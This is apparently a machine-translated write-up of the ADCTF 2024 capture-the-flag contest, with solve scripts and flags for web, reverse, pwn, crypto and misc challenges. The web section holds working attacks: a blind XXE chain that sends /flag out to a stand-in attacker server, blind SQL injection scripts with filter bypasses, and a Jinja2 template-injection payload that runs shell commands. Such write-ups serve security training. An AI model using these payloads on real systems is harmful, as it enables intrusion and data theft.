WARNING！ This is a machine translated version of the Chinese page
Web #
xxe #
Backdoor found after opening using jd-gui
@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
byte[] content = resourceLoader.getResource(fname).getContentAsByteArray();
if (content != null) {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success";
}
return "error";
}
Pass in fname and parse XML
fname is controllable and can be passed into external XML
Construct XXE to read flag
# eval.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "http://LINK_TO_YOUR_SERVER/eval.dtd">
%xd;
]>
<root>&bbbb;&demo;</root>
# eval.dtd
<!ENTITY % aaaa SYSTEM "file:///flag">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://LINK_TO_YOUR_SERVER/?file=%aaaa;'>">
%demo;
Listen for http requests locally
python3 -m http.server 9000
Initiate a request to trigger XXE
http://TARGET:33008/backdoor?fname=http://LINK_TO_YOUR_SERVER/eval.xml
Get the flag in the request log
120.230.56.2 - - [30/Nov/2024 23:03:20] “GET /eval.xml HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:03:20] “GET /eval.dtd HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:03:40] “GET /eval.xml HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:03:40] “GET /eval.dtd HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:04:08] “GET /eval.xml HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:04:08] “GET /eval.dtd HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:05:09] “GET /eval.xml HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:05:09] “GET /eval.dtd HTTP/1.1” 200 - 120.230.56.2 - - [30/Nov/2024 23:05:09] “GET /?file=ADCTF{WOW_Y0u_Kn0w_H0w_to_use_Blind_XXE} HTTP/1.1” 200 -
ADCTF{WOW_Y0u_Kn0w_H0w_to_use_Blind_XXE}
sql1 #
Pass the serialized string of student from POST(data) and query $student after filtering
$black_list = '/\=|\\x20|\\n|union|substr|ascii|\//i';
Filtered union, ascii, substr, space, equal sign, newline
Unable to use union injection, ascii can be replaced with ord, substr can be replaced with mid, spaces can be replaced with tabs, and equal signs can be replaced with like (which is not actually used)
Echo is available, runs the Boolean blind injection script directly
import httpx
import readline
import html
import re
import urllib.parse
target = 'http://TARGET:33001/'
passphrase = 'C H A N G E M E'
def exp(payload: str, out:bool):
payload = f"Alice'&& {payload} #"
payload = payload.replace('=', ' like ')
payload = payload.replace(' ','\t')
payload = {
'data': 'O:7:"Student":1:{s:12:"student_name";s:'+"{}".format(len(payload))+':"'+payload+'";}'
}
auth = httpx.BasicAuth('user', passphrase)
r = httpx.post(target, data=payload,auth=auth,timeout=60)
pattern = r'</code>(.*)'
result = re.search(pattern, r.text)
# if out:
# print(result.group(1))
if('Alice' in result.group(1)):
if(out):
print(True)
return True
elif ('no' in result.group(1)):
print('**Filtered**')
print(payload)
else:
if(out):
print(False)
return False
if __name__ == '__main__':
result = ''
sql = "(select group_concat(secret_value) from secrets)"
length = 88
for i in range(1,length + 1):
left = 0
right = 127
while right - left > 1:
mid = int((left+right)/2)
print(f'[{i}] {left} {right} ',end='\r')
payload = f'ord(mid({sql},{i},1)) > {mid}'
if(exp(payload, False)):
left = mid
else:
right = mid
print(f'{chr(right)} {right} [{i}/{length}]')
result += chr(right)
print(result)
while True:
exp(input('> '), True)
flag{53048e06-1dbe-423b-8cf8-458ccd591a58}
sql2 #
Same as sql1, the only difference is that there is no echo, and time blind injection must be used
import httpx
import readline
import html
import re
import urllib.parse
from datetime import datetime
import time
target = 'http://TARGET:33004/'
passphrase = '02e9f90e494fe5a2727176f6952abc99'
def exp(payload: str, out:bool):
# build payload
payload = f"Alice'&& IF({payload},SLEEP(1),2) #"
# bypass detect
payload = payload.replace('=', ' like ')
payload = payload.replace(' ','\t')
payload = {
'data': 'O:7:"Student":1:{s:12:"student_name";s:'+"{}".format(len(payload))+':"'+payload+'";}'
}
# Start Quere
auth = httpx.BasicAuth('user', passphrase)
Time = datetime.now()
r = httpx.post(target, data=payload,auth=auth,timeout=60)
Time = datetime.now() - Time
# process result
if (out):
print(f'Cost: {Time}')
pattern = r'</code>(.*)'
result = re.search(pattern, r.text)
if ('no' in result.group(1)):
print('**Filtered**')
print(payload)
if (Time.seconds > 5):
print("WARNING: SPEED LIMIT HAPPEDED")
print(payload)
if (Time.seconds > 1):
if (out):
print (True)
return True
if (out):
print(False)
return False
if __name__ == '__main__':
result = ''
sql = "(select group_concat(secret_value) from secrets)"
length = 88
for i in range(1,length + 1):
left = 0
right = 127
while right - left > 1:
mid = int((left+right)/2)
print(left,right,end='\r')
payload = f'ord(mid({sql},{i},1)) > {mid}'
if(exp(payload, False)):
left = mid
else:
right = mid
time.sleep(0.1)
print(f'{chr(right)} {right} [{i}/{length}]')
result += chr(right)
print(result)
while True:
exp(input('> '), True)
flag{2572e0bf-30d1-4c8d-b512-6ded054f21a6}
sst1 #
Visit the target address to get the website source code
from flask import Flask, request, render_template_string
from hashlib import md5
app = Flask(__name__)
black_list = ['[','\'']
def waf(name):
for x in black_list:
if x in name.lower():
print(x)
return True
return False
@app.route('/')
def index():
return open(__file__).read()
@app.post('/exp')
def user():
exp = request.form.get("exp")
digest = request.form.get("digest")
if not exp:
return 'need exp'
if not digest:
return 'need digest'
if not digest == md5(exp.encode()).hexdigest():
return 'digest not match'
if waf(exp):
return "No hacker"
return render_template_string(exp)
if __name__ == '__main__': app.run("0.0.0.0", port=11111)
Template injection vulnerability appears in /exp route
You can see that brackets and backslashes are filtered
Constructing the payload
{{().__class__.__base__.__subclasses__().__getitem__(137).__init__.__globals__.__builtins__.__getitem__("eval")("__import__(\"os\").popen(\"cat flag\").read()")}}
Execute to get flag
flag{a8e5f202-9aac-49b8-ad8f-7fa2c0ac8130}
sst2 #
To be honest, I have no idea how to bypass ssti. I have been working on it for a day but still can’t figure it out. Please allow me to be a script kiddie for once.
Use fenjing to construct the payload, and then manually construct the request
Marven11/Fenjing
专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Python
834
54
import httpx
import html
import readline
from hashlib import md5
import fenjing
target = 'http://TARGET:33008/exp'
# target = 'http://127.0.0.1:11111/exp'
passphrase = '7f036f4d2e2986b8bbdc89187aabf82d'
black_list = ['\'','"','lipsum','.','[']
def waf(name):
for x in black_list:
if x in name.lower():
# print(x)
return False
return True
def exp(payload):
shell_payload, _ = fenjing.exec_cmd_payload(waf, payload)
auth = httpx.BasicAuth(username="user", password=passphrase)
data = {
'exp': shell_payload,
'digest':md5(shell_payload.encode()).hexdigest()
}
r = httpx.post(target,data=data,auth=auth)
print(f'[+] Payload: {shell_payload}')
print(html.unescape(r.text))
if __name__ == '__main__':
while True:
exp(input('> '))
flag{56199a9d-6772-4f27-b78a-9a40f9056db4}
lottery #
Base64 string found in events/2.json
ZmxhZ3thY2FlNTkwMC1hNDg4LTQ0YzUtYWM0YS0wNmYzMTM5Y2NjZWR9Cg==
Decode to get flag
flag{acae5900-a488-44c5-ac4a-06f3139ccced}
Sign_in_ADCTF #
See the hint in the source code
<!-- H1NT: Call Sign_in_AD() to complete the sign-in -->
Open the console and execute Sign_in_AD() when the web page is refreshed
See the hint:
Signed in successfully! But the flag is in the picture^V^
Download the image and put it into Kali to view the EXIF information:
EXIF tags in ‘./sign.jpg’ (‘Motorola’ byte order): ——————–+———————————————————- Tag |Value ——————–+———————————————————- Artist |Ak1yamaM1O XP Comment |Follow the ad studio official account and send “ADCTF2024” to get the flag XP Author |Ak1yamaM1O Padding |268 bytes undefined data X-Resolution |72 Y-Resolution |72 Resolution Unit |Inch Padding |268 bytes undefined data Exif Version |Exif Version 2.1 FlashPixVersion |FlashPix Version 1.0 Color Space |Uncalibrated ——————–+———————————————————-
Follow the prompts to get the flag
flag{We1c0me_2o_ADCTF_2O24_H4V4_6o09_t1m3}
onlineJava #
No tricks, just execute the shell
try {
String command = "cat /flag";
Process process = Runtime.getRuntime().exec(command);
java.io.InputStream inputStream = process.getInputStream();
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
process.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
Reverse #
checkin #
IDA opens and finds that it is an XOR encryption Encryption uses random numbers But the random number seed has been specified So the random number you get each time is the same
Extract the encrypted flag using LazyIDA
encoded = "\x55\x17\xC9\xBB\x4A\xA5\x86\xDF\x24\x0A\x1C\xA3\x27\xA1\x57\x35\xC3\xDB\x91\x88\x6D\x91\xA0\xCC\x71\x57\x71\xE4\x40\x00";
Write a decryption script:
#include <stdlib.h>
#include <stdio.h>
int main(){
srand(0x7E8u);
char s[] = "\x55\x17\xC9\xBB\x4A\xA5\x86\xDF\x24\x0A\x1C\xA3\x27\xA1\x57\x35\xC3\xDB\x91\x88\x6D\x91\xA0\xCC\x71\x57\x71\xE4\x40\x00";
for ( int i = 0; i <= 28; ++i )
s[i] ^= rand();
puts(s);
return 0;
}
flag{y0u_Know_rAnd0m_4nd_xOr}
ezPy #
Look at the icon to know it is Python (you can also know it from the title)
use pyinstxtractor to get pyc file
Then use pylingual to disassemble pyc file
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: main.py
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import sys
secret = [631, 1205, -500, 1021, 1879, 668, -281, 1651, 1326, 593, 428, -170, 515, 1302, 452, 41, 814, 379, 382, 629, 650, 273, 1529, 630, 418, 1207, 1076, 315, 1118, 469, 398, 1803, 647, 729, 1439, 1104]
flag = input('Please enter the flag:')
flag = [ord(c) for c in flag]
if len(flag) != 36:
print('Wrong flag length')
sys.exit()
encoded = [0 for _ in range(36)]
for i in range(0, 36, 9):
encoded[i] = 3 * flag[i] + 7 * flag[i + 1] - 2 * flag[i + 2] + 5 * flag[i + 3] - 6 * flag[i + 4] - 14
encoded[i + 1] = -5 * flag[i + 1] + 9 * flag[i + 2] + 4 * flag[i + 3] - 3 * flag[i + 4] + 7 * flag[i + 5] - 18
encoded[i + 2] = 6 * flag[i + 0] - 4 * flag[i + 1] + 2 * flag[i + 2] - 9 * flag[i + 5] + 5 * flag[i + 6] - 25
encoded[i + 3] = 7 * flag[i + 1] + 3 * flag[i + 3] - 8 * flag[i + 4] + 6 * flag[i + 5] - 2 * flag[i + 6] + 4 * flag[i + 7] - 30
encoded[i + 4] = 2 * flag[i + 0] + 5 * flag[i + 2] - 4 * flag[i + 4] + 7 * flag[i + 5] + 9 * flag[i + 8] - 20
encoded[i + 5] = 8 * flag[i + 0] - 3 * flag[i + 1] + 5 * flag[i + 3] - 6 * flag[i + 7] + 2 * flag[i + 8] - 19
encoded[i + 6] = -7 * flag[i + 1] + 4 * flag[i + 2] - 5 * flag[i + 5] + 3 * flag[i + 6] + 6 * flag[i + 8] - 22
encoded[i + 7] = 9 * flag[i + 0] + 2 * flag[i + 2] + 6 * flag[i + 3] - 4 * flag[i + 6] + 5 * flag[i + 7] - 3 * flag[i + 8] - 27
encoded[i + 8] = 4 * flag[i + 0] - 5 * flag[i + 4] + 7 * flag[i + 5] + 3 * flag[i + 6] + 9 * flag[i + 7] - 2 * flag[i + 8] - 33
if encoded == secret:
print('Correct!')
else:
print('Wrong!')
use z3 to solve it
from z3 import *
solver = Solver()
flag = [Int(f'flag_{i}') for i in range(36)]
secret = [631, 1205, -500, 1021, 1879, 668, -281, 1651, 1326, 593, 428, -170, 515, 1302, 452, 41, 814, 379, 382, 629, 650, 273, 1529, 630, 418, 1207, 1076, 315, 1118, 469, 398, 1803, 647, 729, 1439, 1104]
solver.add([flag[i] >= 0 for i in range(36)])
solver.add([flag[i] <= 255 for i in range(36)])
for i in range(0, 36, 9):
solver.add(3 * flag[i] + 7 * flag[i + 1] - 2 * flag[i + 2] + 5 * flag[i + 3] - 6 * flag[i + 4] - 14 == secret[i])
solver.add(-5 * flag[i + 1] + 9 * flag[i + 2] + 4 * flag[i + 3] - 3 * flag[i + 4] + 7 * flag[i + 5] - 18 == secret[i + 1])
solver.add(6 * flag[i + 0] - 4 * flag[i + 1] + 2 * flag[i + 2] - 9 * flag[i + 5] + 5 * flag[i + 6] - 25 == secret[i + 2])
solver.add(7 * flag[i + 1] + 3 * flag[i + 3] - 8 * flag[i + 4] + 6 * flag[i + 5] - 2 * flag[i + 6] + 4 * flag[i + 7] - 30 == secret[i + 3])
solver.add(2 * flag[i + 0] + 5 * flag[i + 2] - 4 * flag[i + 4] + 7 * flag[i + 5] + 9 * flag[i + 8] - 20 == secret[i + 4])
solver.add(8 * flag[i + 0] - 3 * flag[i + 1] + 5 * flag[i + 3] - 6 * flag[i + 7] + 2 * flag[i + 8] - 19 == secret[i + 5])
solver.add(-7 * flag[i + 1] + 4 * flag[i + 2] - 5 * flag[i + 5] + 3 * flag[i + 6] + 6 * flag[i + 8] - 22 == secret[i + 6])
solver.add(9 * flag[i + 0] + 2 * flag[i + 2] + 6 * flag[i + 3] - 4 * flag[i + 6] + 5 * flag[i + 7] - 3 * flag[i + 8] - 27 == secret[i + 7])
solver.add(4 * flag[i + 0] - 5 * flag[i + 4] + 7 * flag[i + 5] + 3 * flag[i + 6] + 9 * flag[i + 7] - 2 * flag[i + 8] - 33 == secret[i + 8])
if solver.check() == sat:
model = solver.model()
flag_result = ''.join(chr(model[flag[i]].as_long()) for i in range(36))
print(f"Flag: {flag_result}")
else:
print("No solution found")
flag{y0U_4rE_r3@1ly_g0o0oOd_At_m4Th}
Py_revenge #
I guess it is Python (you can also know it from the title)
pyinstxtractor + PyLingual to get source code
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: main.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
secret = [27, 40, 57, 63, 24, 4, 66, 4, 100, 122, 8, 27, 21, 122, 4, 15, 122, 20, 17, 98, 25, 115, 55, 82, 74, 71, 23, 20, 9, 26, 28, 105, 95, 34, 90, 46]
flag = input('Please enter the flag:')
flag = base64.b64encode(flag.encode()).decode()
flag = [ord(c) for c in flag]
key = 'ADCTF2024'
for i in range(len(flag)):
flag[i] ^= ord(key[i % len(key)])
flag[i] ^= i
if flag == secret:
print('Correct!')
else:
print('Wrong!')
It looks like XOR + Base64
Just XOR it once, and then decode Base64
import base64
secret = [27, 40, 57, 63, 24, 4, 66, 4, 100, 122, 8, 27, 21, 122, 4, 15, 122, 20, 17, 98, 25, 115, 55, 82, 74, 71, 23, 20, 9, 26, 28, 105, 95, 34, 90, 46]
key = 'ADCTF2024'
result = ''
for i in range(len(secret)):
secret[i] ^= i
secret[i] ^= ord(key[i % len(key)])
result += chr(secret[i])
print(base64.b64decode(result).decode())
Pwn #
binsh #
Use IDA open it and finds that only two characters can be entered If the second character is h(104), replace it with b(98)
At first I had no idea why the second character appeared as h.
Finally I remembered sh
Changing sh to sb is really bad.(In the Chinese context, this is an insult.)
Remember that $0 can also call the shell
flag{583b4daf-a393-4bcd-b93e-2100c2ce77d6}
meow #
There is nothing much to say about the script question. Meow~
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m'+ str(x) + '\x1b[0m')
def dbg(p : process):
gdb.attach(p, 'source ~/Programs/pwndbg/gdbinit.py')
# Config
LOCAL = False
file = './meow'
remote_addr = '0.0.0.0'
remote_port = 65535
context.log_level='DEBUG' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARNING']
elf = ELF(file)
context.binary = elf
def get_Process():
if LOCAL:
p = process(file)
else:
p = remote(remote_addr ,remote_port)
p.sendlineafter(b'Type your passphrase: ', b'passphrase')
return p
def exp():
p = get_Process()
# p.interactive()
# Real Start of EXP
p.sendlineafter("请回复'喵~'开始\n".encode(), '喵~'.encode())
while True:
payload = p.recvline().decode()[:-1]
print(payload)
if (payload[-1] == '?'):
payload = payload[:-1] + '喵?'
elif (payload[-1] == '!'):
payload = payload[:-1] + '喵!'
else:
payload = payload + '喵~'
print(payload)
p.sendlineafter('请输入:'.encode(),payload.encode())
p.interactive()
if __name__ == '__main__':
exp()
flag{d8facb39-2990-4efa-9649-9c7242acaa5d}喵~
Crypto #
Use_Many_Time #
Template problem, nothing much to say
Get p,q from factordb
from Crypto.Util.number import *
n = 271472624424656513785706923680771932133715054033425980394077073568817784367419534373403335781047213279328099684778631075010020852340363239109929257593123636490472788742710500691829271154406656967499570620808599990809022444747721621226472999098447873973754640477256467566021323433300316782379572843249101957097476171914061796763882160221810752037588477825281339421214989804806106422337645286183603182582435570582060051797114488129892907097969025919044345960281472097528350236904382867201532480293547156397634024888874181247945486724100923198368861164414053799229573809643496189560293961228262358439897447721272077026577955596476378495555781331390802631948596505810532333928413691919085783591350817862501247468922625100225243353014466352465524402884992557288475473449673329173477799355005388403603540849669807448000951133101061837473065442841126173160221586401667999743065475436042231713071217028338553851930804379457014815136497217622172942725789731656487365400662759041673246263952305177330273165040055678540346032835777756018333782404380070921037783724200080770052468396586141345852821959354352496376533002799798666280242749703930834932216393024552332394747366870653579192862981203841223970368967884378029041333485930753022670356279089241919852655226148387261758145662448291834484689828355196376588241880452162468344771724832727747146706203875543683244719198324124061667256741010066117105718405978693348972717642194095091616302700592766673624550504917867603634542541368375740266071937725051550575451618436991290662488896868128637569245079892637758352664528618064223657481155853608868600031926390171851091738102791194299611556416648756888113654937238624189138830880418480962906152416654876445398057632196937986995992085822575718165073591892866350194485467016785653412183994633115928254714676975956375674614875957033175065090009966949952689186250766814233600527752382571007342869177096365187528130392174264920694275768322770528821969405178452047175169237214071424708443772771459072348156584802498912079521950348331820925988369966076070172436223669851674684504470256163223470647039446081938764730223121989464510919117939913290460289762676092275797366737539534123024502760506615782714363240028877215121539549927135722120154270580276684945221133223162306832578280630822912653337205489280151793861613547764311383072014368485459881701386311716195796935045277483356584921699345142082381019935250848231570451880495222569509469558179017999387883489730684745699017658729849361
c = 262959409928901942946356967282715685988402717525722998413073199552344194569815462675208727317356069038143476887785349729074152415468561305043719564044443534943678461691194112819829009942015928217138669440068055198678626228169095209700084857903899952032493859312798134830127847836090483339421488013318184521018942602658859674923143870041870487415119261615851991532534606572685371087892175187669735837173802901707243259478231127246547498003861531872712139399220445465633130401043038236189470250375275092537677136076465523278093135254194321212116731237463794930347080005994129860018818529190275740308829411887853496055005914245757890730455096895759851033070483269010908006762902321856837578539257154697504866923667155835568667100011559417194297036546745102722888382810645788593405822297665771079070110912560494209334914533558309387853851664235646634342550739566564027709387611635084010476988602665679274092312701989498548485452833766131120307212434583895800389361158177620204656479294383838488961384696760004965555832729706574445815485286337177591334864985323203962452816823109401292600686290645753703318285223851373494687341332009673985128472618489951377449004314976075061089812435706552393436214957004589524906307287978580991550974217938678109879592869816607502026007252288475327472451287082697741140324509606631465050160462644047707063687221390874129122094235339213836858331145379658693745765989963094532579285786465378971800497606443969187141241371884417409400393554875676670693772124227967787087249970176123360898925123323833553629516940180273052472844245188596972497171407972537936080054594306016800782067609134239410680549083033727692776112628144869503299586655898231079773579227330327159838200652203600435140335585943871110523667774597723803449181446601397378968006674324753246013580929038935474151143294980592601911423698794436171646021633991328190789552835952437637863496011173604086905984318805710258969051632322326111378923301936151648733712292832400228718852555700089350581693206572448860973715415938816675920101336567495654357573191994730856103857549775016982813567025601029715927459867603513676152935188298681539416993775403152002836985599653470480800354152755275582198243528888697069870892345692931591655818148732228227890569700323009808337822568147429445530219871559528924454126891741517141491673059521896789132434077118608327133800491064640223646492279791064413028951228474075277822487467158841147454754127758427097085005104226495027785164273717534964
p = 22826089215015062971239747479765573980261860956508924966887672339011131256071593933855569627345730491900186620681430083447450449800363453742460910559038500884300216627993746389795089330113851499728923389157896774203901873995580499872010382271176165914123608852269645266420541883312655519483268190334714005528424143016351241964111694448438696041108115955227931375862495974220469117197567953528127044121313985354817794430503700199549401649666484648419628490258677717450705269977839872907619635351260327914403045603763386492257545870697934887022012834074741429555229113461953163363204273114559929014526316520808246516691
e = 65537
phi_n = p**3 * (p - 1)
d = inverse(e, phi_n)
m = pow(c, d, n)
plaintext = long_to_bytes(m)
print(plaintext)
flag{another_weird_construction}
Too_Close_To_Sqrt #
Two adjacent prime numbers, which means that we can square and pq will come out directly after running for a while.
from gmpy2 import isqrt
from Crypto.Util.number import *
n = 77110253337392483710762885851693115398718726693715564954496625571775664359421696802771127484396119363821442323280817855193791448966346325672454247192244603281463595140923987182065095198239715749980911991399313395478292871386248479783966672279960117003211050451721307589036878362258617072298763845707881171743025954660306653186069633961424298647787491228085801739935823867940079473418881721402983930102278146132444200918211570297746753023639071980907968315022004518691979622641358951345391364430806558132988012728594904676117146959007388204192026655365596585273466096578234688721967922267682066710965927143418418189061
c = 702169486130185630321527556026041034472676838451810139529487621183247331904842057079283224928768517113408797087181581480998121028501323357655408002432408893862758626561073997320904805861882437888050151254177440453995235705432462544064680391673889537055043464482935772971360736797960328738609078425683870759310570638726605063168459207781397030244493359714270821300687562579988959673816634095712866030123140597773571541522765682883740928146364852979096568241392987132397744676804445290807040450917391600712817423804313823998912230965373385456071776639302417042258135008463458352605827748674554004125037538659993074220
e = 65537
p = isqrt(n)
while n % p != 0:
p += 1
q = n // p
phi_n = (p-1)*(q-1)
d = inverse(e,phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))
flag{oops_the_N_is_not_secure}
One_Way_Function #
sha512 with only a single character
Rainbow Table Attack
from hashlib import sha512
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'
rainbow_table = {}
for c in charset:
rainbow_table[sha512(c.encode()).hexdigest()] = c
hashes = [
'711c22448e721e5491d8245b49425aa861f1fc4a15287f0735e203799b65cffec50b5abd0fddd91cd643aeb3b530d48f05e258e7e230a94ed5025c1387bb4e1b',
'f10127742e07a7705735572f823574b89aaf1cbe071935cb9e75e5cfeb817700cb484d1100a10ad5c32b59c3d6565211108aa9ef0611d7ec830c1b66f60e614d',
......
]
flag = ''
for hash in hashes:
if hash in rainbow_table:
flag += rainbow_table[hash]
else:
print(f"{hash} not found")
print(flag)
flag{d4d07133-d6bb-4add-b194-8c8eec4bb33f}
One_Key_pad #
from secret import flag, key
ciphertext = []
for f in flag:
ciphertext.append((f ^ key))
print(bytes(ciphertext).hex())
e0eae7e1fde3e7fcffd9fee9f4fb
Seeing that the flag is encrypted byte by byte, there are only 256 possible keys, so just enumerate the keys
ciphertext = bytes.fromhex('e0eae7e1fde3e7fcffd9fee9f4fb')
for key in range(0xff):
flag = b''
for c in ciphertext:
flag += bytes([c^key])
if flag.startswith(b'flag{'):
print(flag.decode())
exit()
Check_Your_Factor_Database #
from Crypto.Util.number import *
n = 15583202069585885743329731770693703651315744619547748987654328267750897298525457052637246322711018450296389785154280944187494218432166414466847580546888232777346390261326052791442303045476056323506639620708060686276665740035963899932923469306092864734507521103929958343335077640138132147823877965255516681640595305323863184079626094607124637572731263072411094986661513874040186660293323912225991096820508525802441998965552628844336066341624032465148749156118031186277077034218599879172143727672732486930547036361186338853567795815703079141657486772887537131798381857481761128761701947613223163957583789997131996194389
c = 6371306651441414494898158050750379466411385075727176973777141489866804949152371066737700949957382328723739039588265348722939538409644758452741820636286764732056622302045805546424342834578149204912690500590371488794741154219116429974884626176276687505603436615961383352315424341433102202637442619829308641010524729990244179166911981814627661923080609365126766407039132426191716113002194884261389976932121106269022968620075855360220818974890016650718871530138072213210849868914955977855950213371455369372213479451425395072947888041803100826574552594123357214975040806204084524320510358181592274275785398054808107630303
p = 102786970188634214370227829796268661753428191750544697648009912021832510479846406842660652442082773578020088104585096298944409097150001317920480815093132150004913448767202198299893840769568841219755466694275862843676241177608436424364735585247574303039353776987581503833128444693347920806395102183872665901277
q = 151606784799548610095916644217950865940397761353988655007201180031392776522565708552689972206548545357755036833336762542306291348158476176958083317845208464472445906639525228156065966245815886462442808969891370598247564766047649027653895495777728985622422940233924415769188183003695053034562331004932104400857
e = 65537
phi_n = (p-1)*(q-1)
d = inverse(e,phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))
flag{factor_db_is_useful}
Misc #
nolibc #
8bce3ee03ac4:/# echo *
4La9-7158808f bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
8bce3ee03ac4:/# while read line; do echo "$line"; done < 4La9-7158808f
flag{94298258-501b-4e56-be80-5f19af81c913}
flag{94298258-501b-4e56-be80-5f19af81c913}
